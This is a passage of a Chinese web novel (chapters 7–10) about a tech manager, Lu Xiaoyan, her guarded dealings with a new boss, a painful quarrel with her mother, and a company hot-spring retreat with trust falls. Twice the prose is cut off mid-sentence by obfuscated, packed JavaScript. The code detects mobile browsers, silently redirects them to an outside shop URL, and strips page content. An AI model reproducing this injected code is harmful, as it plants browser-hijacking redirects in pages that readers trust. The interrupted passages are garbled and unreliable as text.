《老板夹菜我转桌》 7. 第 7 章 “哦,那次啊。“王磊见商秦州并不是要拿陆晓研开刀,松了口气,腰背也挺直了些,回答:“技术部符合报名条件的,一共四位。除了考虑给两位年轻骨干锻炼机会,主要就是部门的两位副总监,陆晓研和苏晴。经过部门内评议和项目成绩加权,我们最终上报的人选是陆晓研。但是被总部驳回了。” 商秦州指腹在金属笔身上摩挲:“我看过‘天鹰’项目全盘材料,陆晓研作为技术负责人,表现很突出。数据、创新点、风险控制,都可圈可点。为什么会驳回?” 王磊听到这话,脸上涌出混合着与有荣焉和些许尴尬的笑容,不自觉地摸了摸鼻梁,说:“商总您眼光准。晓研这小孩吧,从实习期就在我眼皮子底下,是我一手带起来的,技术这块,没得说,是块真金。不过……” 他话锋在这里打了个转,小心地瞥了一眼商秦州的脸色。 商秦州将身体微微向后靠进椅背,双手在身前松松交握,温声说:“您说。” 王磊稍微顿了顿,斟酌用词:“大概也是技术骨干的通病吧,做事太拗,眼里太容不下沙子,心里太绕不过弯。晓研就是典型,你让她攻坚,给她目标,她钻也能给你钻出个窟窿来。 “可总监这个位置,不光要自己能行,还要会用人,要让上级愿意倾斜资源,让下面的人愿意听话。在这方面,陆晓研的确有些短板。 “她不是不懂,就是不太耐烦去做,觉得耽误她琢磨代码、调试参数。难免得罪了些人……” “当然,这都是成长过程中的问题,她能力底子在那儿,进步空间很大的。” 办公室里一片寂静。 王磊飞快地觑了一眼商秦州。 商秦州脸上依旧没什么表情,那支黑色水性笔被他用两根手指捏住,笔帽在桌面上轻点,一下,又一下。 规律,轻缓,几乎无声。 每一下都像敲在王磊紧绷的神经上。 王磊惜才,怕商秦州因此对陆晓研有偏见,赶紧又补上一句:“当然,这都是成长过程中的问题。她能力底子在那儿,进步空间……很大的。” 商秦州微微颔首,没做评价。 窗外的暮色漫进来,给他低垂的眉眼镀上一层模糊的暖边。 目光落在笔身那圈冷硬的金属环上,像是掂量着什么。 几秒的沉默被拉得格外悠长。 他静了半晌,抬起眼,很淡地看了王磊一眼,说了声:“嗯,知道了。去忙吧。” “好的好的。”王磊从办公室退了出去。 * 陆晓研刚出办公室,就看见王磊被商秦州叫进办公室,不由有些忧心忡忡。商秦州不会是在叫王磊收拾她吧? 她鬼头鬼脑地盯着商秦州办公室观察了许久,王磊从办公室出来,脑门上一头冷汗。 “陆晓研,”王磊一眼逮住她,“你给我过来。” “王总,您咋叫我啊?什么事儿啊?”陆晓研缩着脖子跟进去,像个被拎住后颈的猫。 “你说我咋叫你?啊?”王磊把门虚掩上,转身就就冲她吹胡子瞪眼。 陆晓研怂不拉几地缩了缩脖子,“我又说错话了啊?” “你还知道啊?!”王磊喝了口菊花茶,说:“你刚才到底跟商总说什么了?一五一十,一个字都不准漏!” 陆晓研手指抠了抠桌沿,声音越来越小:“没说什么啊,就我谈话稿上的那些内容。‘天鹰’项目的算法框架,还有……还有亿点点关于公司流程的看法。” “一点点?”王磊眼睛瞪圆了,气得要咳:“你管那叫‘一点点’?行政流程冗长、会议效率低,这是能往上说的话吗?” “是他要我直说的啊。”陆晓研手忙脚乱地递给王磊递纸巾,低眉顺眼。 “他要你直说你就直说,他要你跳楼你跳不跳?”王磊喝下茶,平了气,说:“公司行政程序冗长,这是大家都知道的事,就你聪明?你就你牛?晓研啊,我都跟你说多少次了,很多事睁一只眼闭一只眼就行了,你非要做那个点破的人,你这是要谁好看呢?” 陆晓研抿着唇,没吭声,手指把桌角的贴纸边缘卷起又按平。 “别糟蹋我桌纸,”王磊又吼了她一嗓子。 陆晓研连忙收手。 “我知道你专业扎实,能干事,咱们部门离了你转不了。但是全天下就你陆晓研一个人有本事吗?人家苏晴,不也是高材生,技术骨干,怎么人家就这么会讨人喜欢呢?这方面,你真得跟苏晴学学。” 听到苏晴的名字,陆晓研耳朵动了动,“苏晴说得很好?” “那当然啊。”王磊说;“人家说得可好听了。让人听着舒服,又挑不出毛病。哪像你,专往人心窝子上戳。” 闻言陆晓研鼓了鼓腮帮子,没忍住小声嘀咕,“敢情他就吃这套呗?” “人家这套好吃啊。”王磊说,“你今天这些话,说得好听叫坦诚,说得难听就是授人以柄。商总会怎么想,这事儿我也拿不准。但往后你皮给我绷紧点,不会说话,就尽量少在人家眼睛前面晃。明白没?” 陆晓研头点成小鸡啄米,转身开溜。 晚上忙完,窗外的天色已经彻底沉了下来。 陆晓研在等数据跑完的间隙,陷在椅子里玩手机。 一静下来,王磊训她的话又涌上心头。 苏晴说得很好听,商秦州就吃这套,那她这种不会说话的,就活该被穿小鞋?什么世道? 但她甩甩头,把这些乱七八糟的念头甩出去。 算了,反正天塌下来,还有代码能顶着。 手机震动,林薇的消息进来。 林薇:“跟商秦州谈话谈得怎么样了?” 后面跟着一个小猫吃瓜表情包。 陆晓研情绪有点复杂,难以一言蔽之。 她慢慢敲字回复:“我感觉吧,还行?他没提什么私人的事,听得也很认真。可能是我想太多,把人家想得太恶劣了。” 发出去,又觉得太没说服力,补了个挠头的熊猫人。 林薇却反问她:“商秦州是几月份的?” 陆晓研:“看公司资料好像是11月的。怎么了?” 林薇意味深长地说:“天蝎男啊,还是11月天蝎男……” 陆晓研好奇地问:“11月天蝎男怎么了?” 她打开网页开始搜深度解析天蝎男。 第一个词条,就让她眼前一黑。 Xhs博主:【crush是天蝎座,姐妹们有啥建议吗?吃瓜吃瓜】 1l:跑。 2l:跑。 3l:跑快一点。 4l:打飞的跑…… 且不说那满屏的“xy太强”、“太多次”、“吃不消”。 更让陆晓研心头咯噔的,是关键词:“记仇”、“记仇”、“超级记仇”…… 陆晓研有点后怕,战战兢兢刷新页面。 陆晓研:“不至于吧。” 林薇说:“呵呵,记住我的话。天蝎男,记仇;11月天蝎男,超级无敌记仇。” 陆晓研:“吐血表情包。” 林薇回了她一个笑脸:“不过你也别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946747|193016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太难过。天蝎男自有天蝎男的长处……” 陆晓研:“……” 天蝎男优势的部分,她那天晚上已经认真领教过。 劣势的这一部分,她难道能选择性不相信? 电脑上各种数据还在脑海里徘徊,陆晓研打算弄点喝的。 走出办公室,走廊尽头的饮料机前,已经站了一个高大的身影。 商秦州刚接完一杯黑咖啡,正微微蹙眉看着手机。 屏幕的冷光映在他轮廓分明的侧脸上,喉结随着吞咽咖啡的动作轻轻滚动。 陆晓研脚步一顿,下意识想转身,但商秦州却像早有感应般抬眼看了过来。 四目相对。 走廊顶灯在他身后晕开一圈光晕,他整个人陷在明暗交界处。 “商总。”陆晓研脚步钉在原地,只好硬着头皮开口。 商秦州目光在她脸上停了停,很淡地“嗯”了一声,“陆总监这么晚了还没走?” 刚被王磊敲打过,陆晓研的情商难得占据高地。 她点了点头,说:“为公司排忧解难嘛。” 商秦州的嘴角细不可察地朝上扬了扬。 陆晓研站在机器前操作,商秦州并未离开,而是斜倚在一旁的金属柜边上,慢条斯理地喝着他的咖啡。袖口挽到手肘,露出一截线条干净的小臂。 空气里弥漫着黑咖啡的苦香,和他身上那种冷淡的雪松气息。 无声的压迫感让陆晓研更紧张了。 她盯着屏幕上的按钮,手指在“牛奶”和“拿铁”之间犹豫。 咖啡香,但喝了肯定失眠。 牛奶安神,可显得比较孩子气。 正选择困难症,一只修长的手从她身侧伸过来,按在“牛奶”键上。 “嘀。” 付款成功的提示音清脆响起。 陆晓研怔怔地转过头。 商秦州但还没有退后,两人离得很近,几乎能感觉到他身体辐射过来的、比空气略高的体温。 视线不由自主地落在他近在咫尺的手上。指节分明,修长干净,是一双适合握笔、敲击键盘,也曾在那个的夜晚,带着不容抗拒的力道,抚过她的脊背。 他往后退,布料摩挲,发出细微的声响。 然后重新端稳了咖啡杯。 陆晓研条件反射紧绷起的后背这才重新松懈下来。 “谢谢商总。” “客气。”商秦州转身,迈开步子。 又忽地一停,像想起什么似的,转过身来,对她说:“反正用的是你的钱。” “……啊?”陆晓研一时没反应过来。 怎么是她的钱? 难道要从她的工资里扣? 直到商秦州走远,陆晓研才猛地回过神。 他指的,是她留给他的那一百块! 脑袋嗡地一声,一股热血冲上脸颊。 她对着商秦州消失在走廊尽头的背影,狠狠挥了几下拳。 怎么有这么小心眼的人??? 一丁点儿小事记到了现在! 牛奶从机器里滚出来。 陆晓研握在手里,感觉这热度有点烫手。 她拧开盖子,一边喝一边往工位走。 脑子里却控制不住地开始算账:这瓶牛奶七块,所以商秦州口袋里是不是还有九十三? 他打算怎么花?会不会下次部门下午茶点奶茶,他突然说:“这顿陆总监请”。 她被自己的想象吓得一哆嗦。 林薇说得没错,天蝎男是真的太记仇…… 8. 第 8 章 陆晓研神经绷成了一根弦,整整一周都在耳听六路,眼观八方。 她按王磊吩咐的,每天都绕着商秦州走。 在工作上兢兢业业,按时出勤,邮件秒回,报告数据精益求精,世上第一好员工,叫商秦州绝抓不到她的一丁点儿小错。 商秦州那边却风平浪静。 按部就班地开会、签字、布置工作,对她也与其他下属无异。 偶尔在茶水间或电梯口迎面遇见,他还会对她自然地微微颔首,露出看不出态度的微笑。 周末,陆晓研回了趟家。 客厅里,沈美兰开着电视机,播着一部年代久远的家庭剧,絮絮叨叨的剧情她已经能倒背如流,但沈美兰只爱看这个,眼睛不看屏幕演员的表演,只用耳朵听。 她陷在沙发里,身上开衫穿了许多年,橘黄的颜色有些褪色了,一针一针勾毛线娃娃。 勾好的毛线娃娃会被魏阿姨收去,一只五块,毛线钱自付。但娃娃挂到网上一只就卖五十五。 这事耗神又费眼,沈美兰每做完一批都要叫好几天腰疼,陆晓研不得不给她请理疗师按摩,赚一百块搭进去一百,跟鬼打墙似的。 她劝沈美兰好几次,别做了,又不赚钱。但每次她一提这话,沈美兰 就在她面前抹眼泪,说她是在嫌自己没用。 几轮世界大战下来,陆晓研也学乖了。她终于清醒地认识到一个事实,父母到了这个年龄,观念早已像老树的根,盘根错节,坚不可摧。与他们辩论,不过是浪费唾沫星子。还不如就当自己是聋子、傻子,积蓄体力。 从房间出来喝水的空当,陆晓研手刚碰到冰箱门,就被沈美兰给叫住:“晓研,你升职的事怎么样了?上次不是说,马上就能升了么?” 提到这事陆晓研就有些泄气,含含糊糊地说:“我领导说再看看。” “还看什么?就是没提你呗,我就知道。”沈美兰一听这话,心情顿时失落下去。手里的毛线织三针,拆三针,一卷线团像希腊神话里的羊毛球,怎么也织不到头。 “总监一个月能有两万了吧,你现在这个位置,一个月多少?” 沈美兰非常关心她每个月的收入,陆晓研不乐意说,便拐弯抹角地问:“你一个月交多少税?” 陆晓研口中含着水,说:“没细看。” “我前几天去交物业费了,一年三千呢。冬天了,暖气费又是一笔。”沈美兰的视线从毛线移到女儿脸上,又问:“你昨天去剪头发,花了多少钱?” 陆晓研没说话。 沈美兰说:“我上次剪头只花了八块。” 陆晓研顿时有一种无力感,沉甸甸地从小腹往上涌。 “你爸走得早,我没本事,帮不上你什么。”沈美兰手中的针越扎越焦虑:“你魏阿姨昨天跟我说,她外甥参加工作了,我仔细问过了,他工资估计跟你差不多,一个月到手也快一万,五险一金都是按最高格交的,还有企业年金呢。你下周去见见。” 陆晓研疲惫地闭上眼,揉了揉眉心,说:“我最近项目刚结束,马上要接新的,没时间。” “没时间?你是没时间了,陆晓研你都二十六了啊,”沈美兰说:“女孩子最好的年纪就这么几年,你年纪大了,就没人会要了啊。” “我为什么要他看得上?”陆晓研声音也跟着抬高了:“我的价值,难道就等着谁来‘要’吗?” “我是图你有人照顾!”沈美兰放下针,“你爸走得早,我一个人把你供到研究生,不是让你天天对着电脑熬到半夜,月底一看工资卡,税后连一万都没有!” 陆晓研一时无法理解:“妈,我赚的是不多。可您说的这位魏阿姨的侄子,您不是说人家一个月也就万把块钱吗?怎么到我这就不够活,到人家那儿就够了?难道我赚的钱,就不是人民币?” “那能一样吗?人家是男孩子!你是个女孩子!哪儿有人不结婚的?一个人钱少,两个人加起来,那不就多了?日子是两个人过的!”她越说越有怨气,突然站了起来,膝上的线团滚到地上,指着陆晓研说:“一天到晚什么都不做,抱着个电脑尽看些有的没的。网上那些话能信吗?尽是些把人带坏的歪理!人家说独立就独立,那是人家家里有钱!你有吗?” 空气凝固了,只有旧电视机里传来主角们对话的笑声。 那是场典型东北家庭喜剧,每个人说话结尾都带着往上卷的儿化音,为着家长里短拌着嘴,哄笑声像是隔着一层毛玻璃传来,失真又刺耳。 陆晓研忽然觉得有点恍惚。 这段时间,她带领团队攻克技术难点,熬大夜、咖啡当水喝、累得每次抬起头,眼睛都不是先看到东西,而是一片发红的星辰。可那种全神贯注、脉搏与项目进度同频的兴奋感,那种被需要、被信任、一步步把设想变成现实的扎实感,却是无与伦比的。在那时,她感觉自己是在攀登,身体累,心却是满的,带着一种充盈的喜悦。 可怎么一推开这扇门,踏进这片再熟悉不过的空气里,那股撑着她的劲儿就倏地散了。就像从阳光充沛的山脊,一步踏进了背阴处积年不化的冰窟窿。 “对,我是没有。”那句在齿间滚动了许久的话,无法控制地冲了出来。 “我何止是没钱,我还没爸爸。” 话音一落,沈美兰整个人像被抽掉了力气,不可置信地瞪着她。 “你,你……”她张了张嘴,没发出声音,眼睛里突然蓄满了泪水。 她嘴唇哆嗦着,弯腰捡掉在地上的毛线团,身体往后倒了倒,手重重按在了旧沙发的扶手上。 “妈……”陆晓研慌张地想去搀扶。 那些被她刻意压在记忆底层的画面,翻涌得清晰无比。 小时候,她没爸爸。 沈美兰在纺织厂三班倒,下夜班回家总是十一二点。回家后,她会进她房间摸一摸她睡着时的脸。那只手上总有股淡淡的机油味和廉价雪花膏混合的味道,那是她认知里最坚实的“家”的味道。 她怎么能对沈美兰说这种话?无论沈美兰对她做什么说什么,她都不该这么说。她恨不得把刚才那几个字眼从空气里抓回来,生吞回去。或者让时间哪怕倒流一分钟都好。 “妈,我不是这个意思……” “电饭煲里有热的汤,你自己吃吧。”沈美兰摆了摆手。 抱着毛线团回到自己的房间,紧紧关上了门。 “妈。”陆晓研冲着冰凉的门板又唤了一声,门内没有任何回应。 寂静沉重。 身后,客厅电视机里那部家庭剧正演到阖家团圆的情节, 女主角带着哭腔说:“妈,我回来了,这次不走了。” 紧接着是慈祥地回应:“回来就好,妈给你包了你最爱吃的三鲜馅饺子!” 陆晓研找到遥控器,用力按下关机键,“嘀”的一声轻响,人物对话声陡然拔高,清晰得刺耳。她烦躁地用力拍了拍遥控器,不断按关机键。电视屏幕闪烁两下,然后像突然被拔掉电线,戛然而止。 突如其来的寂静笼罩下来,陆晓研在客厅站了一会儿,慢慢转身,拖着步子,回到自己房间。 书桌上,笔记本电脑亮着,投下一圈安静的光。 她点开桌面上加密项目文件夹,复杂的参数表格瞬间铺满视野。 那是一个秩序分明的安全的世界。 这些跳动的数据不会问她年纪,不会问她一个月工资多少,不会在她月薪低的时候将她视为残次品,在她风光的时候又将她捧成人上人。 数据只分对错,只讲逻辑,只呈现可以验证、可以追逐的结果。 它们没有温度,所以至少不是冰冷的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946748|193016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 接下来的几天,是“天鹰”项目的成果验收期。 “天鹰”项目首批核心用户的内测反馈数据收到,体验优化清单列出了长长一串,为迎接即将到来的规模性公测,最后一批底层数据必须进行极限压力下的反复验证。 陆晓研的生活被切割成会议室、工位和凌晨的出租车后座。 三餐靠外卖和咖啡解决,眼睛干涩了就滴眼药水,脑子里除了代码和参数,几乎塞不进别的东西。 终于,最后一轮关键测试的圆满结束后,公司群消息闪烁。 王磊:@全体成员 重要通知!为缓解近期项目压力,加强团队凝聚力,经部门管理层决议,定于下周四、周五组织技术部全员团建。 地点:城郊“云栖”温泉度假山庄。原则上全员必须参加,确有特殊情况的,需直接向我书面说明。 王磊:【OA系统通知链接】 王磊:顺便,商总说了,他也会拨冗参加,和大家一起放松交流。都积极点啊! 苏晴:收到!期待和各位同事还有商总一起放松学习~ [可爱] 周晋(前端组):温泉山庄!王总英明![点赞][点赞] 吴月(测试组):能带家属吗王总?[期待搓手] 王磊:@李莉这次是纯团队建设,家属等下次哈。 在OA系统上提交确认参加后,陆晓研洗完澡瘫在沙发上。 茶几上摊着行李,泳衣、换洗衣物、充电宝。 明天要早起,大巴七点半准时发车。 理智告诉她:该睡了。 但手指有自己的想法,已经滑开了视频app。 “就看一会儿,一小会儿会儿……” 反正明天车上能补觉。 团建嘛,不就是换个地方睡觉? 首页推送了一部老港片,评分很高。 她窝进沙发,拉过毯子,按下了播放键。 十分钟后。 电影正放到紧张处,反派在暗处举起了枪。 陆晓研抱着枕头,眼睛瞪得圆圆的:“别回头啊……快跑啊!” 半小时后。 主角绝地反击,配乐燃起。 她摸出了一包薯片,咔嚓咔嚓嚼得起劲, 等片尾字幕滚动起来时, 凌晨一点。 陆晓研:“……” 她设了五个间隔五分钟的闹钟,把手机一扔,整个人陷进被子里。 翌日清晨七点半,公司大门口大巴即将发车。 陆晓研几乎是一路小跑冲过来的,头发扎成高高的马尾,额角带着水珠:“师傅等等我,等等我!” 师傅按了按喇叭:“八戒,跑慢点。” 她喘着气踏上车,车厢满员。 过道两侧的座位塞得满满当当,同事们或闭目养神,或低声谈笑,或戴着耳机看手机。 唯一空着的那个位置,在商秦州身旁。 他今天没穿那身标志性的、将人包裹得一丝不苟的西装,而是换了一身简单的黑色运动服。 那运动服看似款式寻常,质地却极佳,柔软地贴合着他宽阔的肩线和平直的后背,在动作间勾勒出流畅而蕴藏力量的肌肉轮廓。拉链只拉到胸口,露出里面同样黑色的棉质T恤领口,以及一截冷白色的锁骨。仿佛还是那个在球场边擦汗、在图书馆靠窗位置一坐就是一下午的高中清冷校草。 他正低头看着膝上的平板电脑,侧脸在晨光里显得轮廓分明。 职场第一铁律。 没有人愿意坐在boss旁边。 见陆晓研迟迟没动,司机从后视镜里看她,催促道:“快点找位置坐下,要发车了。” 陆晓研硬着头皮,在无数道或明或暗的视线中,一步步挪到了商秦州身旁。 9. 第 9 章 终于挪到那个空位旁,陆晓研停下,喉咙发干。 商秦州似乎才察觉到有人靠近,目光从平板的财报数据上移开,抬眼看她。 那眼神很淡,没什么情绪,像冬日的湖面。 是在她她微湿的鬓角,略显狼狈的脸上停顿了一瞬。 然后,几不可闻地、极轻地冷笑了一声。 他起身让陆晓研入座。 然后重新看向屏幕,指尖滑动着页面。 后排吴月目光在商秦州和陆晓研之间扫了个来回,凑近她耳畔开了个玩笑:“晓研姐,你今天跟商总穿得好像情侣装哦。” 她为图方便,今天穿的也是一套最简单的黑色运动服。 商秦州看了过来,眼神落在她和自己同色的领口拉绳上。 陆晓研有些尴尬地大声阿谀奉承:“商总的衣品,那可真是太好了,哈哈,哈哈哈!” 商秦州回道:“陆总监踩点的功力,也是一如既往的优秀。” 陆晓研:“……” 她将一路跑得发红的脸颊贴在微凉的车窗上。 车摇摇晃晃,像婴儿的摇篮床。 商秦州为什么说:“一如既往?” 难道,他也还记得那次? 窗外千篇一律的城市街景不断倒退。 高二春游,去市郊的植物园。 集体活动,自由组合乘车。 她前一晚也是熬夜看一本借来的课外书。 早上起晚了,顶着乱糟糟的短发冲到校门口,大巴车前已经排起了长队。 她慌慌张张找到自己班级的车,踏上去,同样也是满员。 唯一剩下的空位,在车厢后排靠窗坐着挂着耳机的商秦州。 他旁边的座位空着,同样没人去坐。 那时他是寡言的学霸,女生们偷偷议论的焦点,带着一种生人勿近的气场。 她攥着书包带子,在全车同学的注视下,不情不愿地过去,问:“这里有人?” 商秦州摘下一边耳机,露出清俊的侧脸,看了她一眼,没说话,只是默默把放在空座上的黑色背包拿开,让出了位置。 她如释重负地坐下,莫名其妙地心跳如鼓。 窗外街景飞速倒退。 鼻尖萦绕着他身上干净的、像晒过太阳的棉布味道。 她忍不住透过玻璃窗的倒影。 去看商秦州的侧脸。 大片大片的绿匆匆而过。 他垂着眼,额发落下一点细微的阴影,仿佛染了一层窗外流转的、碎金似的浮光。 真实又遥远,清晰又朦胧。 像隔着一层雾,去看一座沉默的山。 她悄悄看着。 在飞快的心跳声之外,又树起警觉。 他不会在坐车的时候也刷题吧? 那她绝不能输。 但她有点晕车,在车上刷题,她铁定会吐出来。 她小心观察敌情了一路。 商秦州倒是没刷题,一直在听歌。 她便放下心,安心去看窗外风景。 直到快下车,她隐约听到商秦州耳机里传来的声音,其实是英语广播。 这让她几乎是当场天都塌了…… 陆晓研不敢深想,商秦州究竟还记不记得那天。 她尽量僵硬地缩起身体,不去碰到商秦州搁在扶手上的手臂。 狭小的空间里,他存在感强得令人窒息。 公司大巴车车身微顿,平稳驶出。 车厢里充斥着零食袋拆开的细微声响和压低的笑语。前排有人分享着蓝牙耳机,脑袋随着节奏轻晃。过道那边,几个年轻同事凑在一起看手机视频,发出极力压抑的嗤笑。王磊的鼾声从后方传来,规律而绵长。 陆晓研吸取当年被商秦州卷到的失误,也捧着笔记本电脑继续工作。 但她晕车的毛病多年没变,没看一会儿便还是睡了过去。 再睁眼时,已经快到中午,烈日高悬。 她警觉得支起脑袋,检查自己有没有不得体,流口水弄脏衣服。 等确认自己睡相很完美之后,正午炽烈的阳光本该直射在她脸上,此刻却被一道阴影妥帖地隔绝。 她眨了眨有些干涩的眼睛,视线聚焦——是一本摊开的财经杂志,铜版纸页在强光下反射出冷白的光泽。 杂志那端,是一只骨节分明、稳稳握着的手。 手腕从挺括的浅灰色衬衫袖口中露出,皮肤是干净的冷白色,能看到淡青色的血管脉络。 商秦州似乎一直保持着这个姿势。 他另一只手肘支在窗沿,掌心托着侧额,目光落在摊在膝上的平板电脑,屏幕上是复杂的曲线图。 神情专注,仿佛手中杂志恰好遮挡住阳光纯属一个美丽的巧合。 “到了哈!温泉山庄!各位领导老师,带好随身物品,准备下车嘞!”驾驶室里,师傅操着浓重的口音,洪亮地吆喝了一嗓子。 惯性让她向前微微一倾。 商秦州闻声,极其自然地合上了杂志,随意塞进前方椅背的置物袋,然后开始整理膝上的平板电脑,全程没再看她。 * 到达活动地点后,同事们鱼贯下车,活动着坐僵的筋骨,三三两两聚在一起。 陆晓研跟在后面,也踏入了山庄略显潮湿的空气里。 这座山庄坐落在半山腰,一条深灰色石板路蜿蜒而上,石板缝隙里探出绒绒的青苔。不远处几栋白墙黛瓦的屋舍错落有致,一片茂密的竹林沿着山坡蔓延开来,新篁旧竿,层层叠叠,绿意深深浅浅。 空气里有种干净的凉意,深吸一口,肺腑都仿佛被这山间的绿意洗涤了一遍。 行政部的同事拿着名单开始念:“双人间分配哈,念到名字的来拿房卡……” 分房是男生三人一间,女生两人一间。陆晓研和吴月分在了一起。 众人领了房卡,被通知一小时后在酒店背后的草坪集合,进行“增进团队凝聚力”的破冰活动。 陆晓研和吴月分到的房间在山庄东翼,推开窗能看见一小片竹林,环境清幽。 吴月一进门就扑到靠窗的床上,长舒一口气:“哎呀,总算能伸伸腿了!不过晓研姐……”她翻过身,眼睛亮晶晶地盯着正在放行李的陆晓研,“刚才 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王磊身材偏胖,玩这种游戏危险系数太高。 陆晓研主动说:“王总,要不这个活动您别参加了。” 王磊说:“商总都参加,我不参加,这不好看吧。” “他也玩?”陆晓研有些惊讶。 通常大领导都不会玩这种游戏。 “玩。”王磊说:“他不搞什么特殊对待的。他房间都跟我们住在一起。” 陆晓研拍了拍小胸脯,打包票,说:“王总您放心!我保证接住你。” 王磊撇了眼她那细胳膊细腿,压根不接她的话。 很快轮到技术中心这一组。陆晓研排在中间偏后的位置,看着前面的同事一个个完成。有人倒下时身体僵硬,砸得接的同事龇牙咧嘴;也有人完全放松,赢得了教练的表扬。 她前面的是吴月。吴月倒是胆子大,倒下时姿态标准,被稳稳接住后笑得开心:“还能不能再来一次啊?” 周晋没好气地说:“你到底是挑战自我,还是挑战我们啊?” “下一个,陆晓研!” 陆晓研吸了口气,走上背摔台。 吴月的声音最响亮:“晓研姐加油。” 王磊似乎在说:“陆晓研别怕啊。” 站台高度其实并不算夸张,但这种将自身安全全然交托出去的失控感,还是让她的心跳微微加速。 在背过身前,她用眼角的余光瞥向台下即将接住她的那道“人床”。 在那一排交错伸出的、认真等待的手臂里。 她第一眼看见的是商秦州。 他站在左侧最关键的位置上,白衬衫的袖子被仔细地挽了上去,挽至小臂中段,露出一截线条干净利落的手腕。手臂平稳地向前伸出,手掌向上,稳稳托住对面同事的肘弯,自己的臂膀则被另一侧的同伴同样认真地架住。 山风拂过草坪。 他像一棵沉静的树,无声无息,却扎根于此,成为了那片“人床”最沉稳固执的锚点。 10. 第 10 章 视野被局限在眼前的竹林和更远的山峦。 身后的一切,包括那些即将承接住她的手臂,都成了未知。 “准备好了吗?”教练在台下问。 “准备好了。”陆晓研听到了自己的声音。 “请相信你的团队!一、二、三!” 陆晓研闭上眼,身体绷直,向后倒去。 失重的感觉瞬间攫住心脏。 风声掠过耳际。 预期中的撞击并未带来疼痛,她落入了一个由交错手臂构筑的、富有弹性的支撑网中。 被稳妥地承接,缓冲。 睫毛颤了颤,她下意识地睁开眼。 最先看清的,是一双近在咫尺的眼睛。 商秦州是距离她最近的人,近得她能看清他眸底映出的自己那一丝惊慌的倒影。 而他的眼神却很静,像深潭的水,不起波澜。 属于他的气息,干净得像秋日晒透的棉布,将她柔软地包裹起来。 这大概就是吊桥效应。 在心跳跳得最快的那一时刻,第一眼看到的人,会让人分不清紧张和心动。 “能站稳吗?”商秦州开口问她,声音低稳,就响在她耳际旁。 陆晓研脑子有点懵,下意识点了点头:“……嗯。” “行。”他应得利落。 话音落下,那双稳稳承托着她的手臂立刻撤离。 “诶?诶!”陆晓研还没来得及反应,整个人便毫无缓冲地落进了下方柔软的草坪里。 身下的草坪像一面豪华席梦思,葱葱绿意直呛鼻尖,叫她几乎要当场打喷嚏。 她躺在草地上,望着头顶湛蓝的天和晃动的竹叶梢,有几秒钟完全没反应过来。 吴月扑过来搂住她:“晓研姐!” 她被其他人扑倒了好几次,好不容易费劲儿站了起来。 目光不经意掠过人群外围,商秦州站在一旁,单手插在裤袋里,正看着她这边。脸上依旧没什么特别的表情,在她看过去时,自然地移开了视线,错眼去看远处起伏的山。 活动继续。 轮到王磊上去了,他体型偏胖,倒下来时冲击力不小,接他的同事们,尤其是排在前面的几个小伙子,明显趔趄了一下,但还是堪堪接住。王磊自己也红着脸笑着爬下来,连说:“同志们辛苦了哈。” 不知是谁带头喊了句:“不辛苦,王总威武!” 引来一阵善意的哄笑和掌声。 接着是商秦州。 他脱下运动外套交给一旁的行政人员,内里是一件轻薄的灰色连帽卫衣,缓步走上背摔台。 转身,背对台下。 背影挺拔,像一株不弯的竹。 台下自发安静了些许。技术中心和市场部混合的接人队伍迅速就位,手臂搭得格外认真。陆晓研站在右侧第二的位置,伸出手臂与对面交叠。 她小声问身旁的周晋:“诶,你说,如果我们同时松手,结果会怎么样?” 周晋说:“我也想象过这个场景。” “然后呢?” “然后就领不到工资了。” 陆晓研立刻打消脑中幻想,“可一定要接住啊!” “准备好了吗? “请相信团队!” “一、二、三!” 陆晓研只是团队中的一员,其他人帮她分担了大部分重量,但她的手臂还是清晰地承托住了一部分力道的冲击。像一个很扎实的拥抱,温热的体温透过棉布传递在她的皮肤上。 他刚刚接住她的时候,也会是这种感觉吗? 商秦州已站直身体,随手拂了拂袖口,说:“各位辛苦了。” 大家一同哄叫了一几声。 第一项活动在一种混合着兴奋、疲惫和微妙增进的熟悉感中结束。 教练拍了拍手:“各位伙伴表现都非常棒!信任是基础。那么接下来,我们需要的是默契与协作。” 他指向山庄前绵延起伏的黑色山脉,“明天上午,我们的第二项活动将在那里进行主题团队协作登山挑战。大家抽签分组。颜色相同的队友组成一队。” 陆晓研展开纸条一看:红队。 再抬头,真是怕什么来什么。 发现商秦州指尖也夹着一张红色纸条。 “哟,咱们这红队,阵容豪华啊!”王磊先是对着商秦州恭维一句,随即话锋一转,看向陆晓研,半开玩笑半当真地说:“小研啊,这回可真是考验你的时候了。商总那可是出了名的全能选手,你平时工作上那股不服输的劲头,今天可得好好发挥出来。要是今天你能展现出‘超常水平’,那可不光是给咱们红队争光,更是给咱们技术部门全体同仁长脸啊! 放心,赢了,回去我给你请功!” 陆晓研哈哈干笑两声。 目光在半空中和商秦州相接。 商秦州脸上没什么表情,只是极轻微地挑了一下眉梢,然后便若无其事地将纸条收进了运动裤口袋。 * 暮色四合。 石板路旁的灯笼逐一亮起,在湿润的空气中晕开一团团暖黄。 晚餐安排在温泉旁的暖阁里,长长的日式桌案上热气蒸腾,陆晓研拣了靠边的位置坐下。 长桌对面,商秦州坐在王磊旁边,他正听旁人说话,偶尔点头,侧脸在昏暖的光线下显得松弛自然。 “晓研姐,尝尝这个,”吴月夹了块烤鳗鱼放到她碟子里,“明天登山晓研姐在哪队?”吴月问她。 